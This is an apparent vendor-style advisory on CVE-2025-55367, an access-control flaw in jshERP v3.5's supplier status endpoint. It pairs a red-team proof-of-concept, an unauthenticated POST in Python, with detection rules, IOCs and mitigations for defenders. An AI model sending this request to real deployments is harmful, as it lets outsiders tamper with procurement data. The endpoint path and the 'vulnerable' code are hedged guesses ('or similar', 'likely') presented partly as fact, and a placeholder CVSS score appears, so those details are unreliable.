CVE-2025-55367

Executive Summary

CVE-2025-55367 is an Incorrect Access Control vulnerability in jshERP v3.5, specifically within the /controller/SupplierController.java component. This flaw allows an unauthenticated or unauthorized attacker to arbitrarily modify the supplier status of any account without proper authorization checks. The vulnerability has a CVSS score of 0.0 (placeholder) but represents a critical business logic flaw that can lead to data integrity compromise and supply chain disruption. No official patch is currently available, and the vendor (Jsherp) has not released a security advisory.

Supply Chain & Package Security

jshERP is an open-source ERP system written in Java (Spring Boot). The vulnerability exists in the core controller layer, meaning any deployment of jshERP v3.5 is affected. Since no patch exists, organizations using this software must implement compensating controls or consider forking the repository to apply a custom fix.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder – actual score likely 7.5+ due to network exploitability and lack of authentication)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: High (I:H)
• Availability Impact: None (A:N)

Threat Level: High – The vulnerability allows unauthorized modification of supplier status, which can disrupt procurement, payment, and inventory workflows.

Deep Dive & Mechanics

The vulnerability resides in the SupplierController.java file, which handles HTTP requests for supplier management. The updateStatus or similar endpoint lacks proper authorization checks, allowing any request (even without a valid session) to modify the status field of any supplier record. The controller likely uses a simple ID-based update without verifying the user's role or permissions.

Root Cause: Missing @PreAuthorize annotation or manual role check in the controller method. The application relies on client-side or no authorization for this critical operation.

Attack Vector: An attacker sends a crafted HTTP POST/PUT request to the vulnerable endpoint with a supplier ID and a new status value. Example:

POST /api/supplier/updateStatus HTTP/1.1
Host: target.com
Content-Type: application/json

{"id": 1, "status": "disabled"}

Vulnerable vs. Patched Code

Vulnerable Code (jshERP v3.5)

// SupplierController.java
@PostMapping("/updateStatus")
public Result updateStatus(@RequestBody Supplier supplier) {
    // No authorization check
    supplierService.updateStatus(supplier);
    return Result.success();
}

Patched Code (Hypothetical Fix)

// SupplierController.java
@PostMapping("/updateStatus")
@PreAuthorize("hasRole('ADMIN')")
public Result updateStatus(@RequestBody Supplier supplier) {
    // Authorization enforced
    supplierService.updateStatus(supplier);
    return Result.success();
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites: Network access to the jshERP web application.

Exploit Steps:

1. Identify the vulnerable endpoint: /api/supplier/updateStatus or similar.
2. Craft a JSON payload with a valid supplier ID and desired status.
3. Send the request without any authentication token.

Proof-of-Concept (Python):

import requests

target = "http://target.com/api/supplier/updateStatus"
payload = {"id": 1, "status": "disabled"}
response = requests.post(target, json=payload)
print(response.text)

Blue Team (Defender)

Detection:

• Monitor for unauthorized POST requests to /api/supplier/updateStatus without valid session tokens.
• Alert on status changes to suppliers that occur outside of normal business hours or from unexpected IPs.

Mitigation:

• Implement role-based access control (RBAC) on the controller.
• Use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint without authentication.
• Apply a temporary patch by adding @PreAuthorize annotation or manual role check.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /api/supplier/updateStatus with JSON body containing id and status fields.
• Logs: Application logs showing updateStatus calls without a preceding authentication event.
• System: Supplier status changes in the database that cannot be traced to a legitimate user session.

Detection Engineering

YARA Rule

rule CVE_2025_55367_SupplierController {
    meta:
        description = "Detects exploitation attempts for CVE-2025-55367 in jshERP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55367"
    strings:
        $s1 = "/api/supplier/updateStatus" ascii wide nocase
        $s2 = "supplierService.updateStatus" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-55367 - Unauthorized Supplier Status Modification
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable jshERP endpoint without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/supplier/updateStatus'
    condition: selection
falsepositives:
    - Legitimate admin actions (if authentication is present)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55367 - jshERP Supplier Status Modification Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/supplier/updateStatus"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible, or restrict access via firewall rules.
2. Implement a reverse proxy (e.g., Nginx) to require authentication for /api/supplier/* paths.
3. Apply a custom patch by adding authorization checks in SupplierController.java.

Long-Term Fix:

• Upgrade to a patched version once released by the vendor.
• Conduct a full security audit of the jshERP codebase for similar access control issues.

Workaround:

• Use a WAF rule to block requests to /api/supplier/updateStatus that do not contain a valid session token.

Valters IT
Securing Digital Frontiers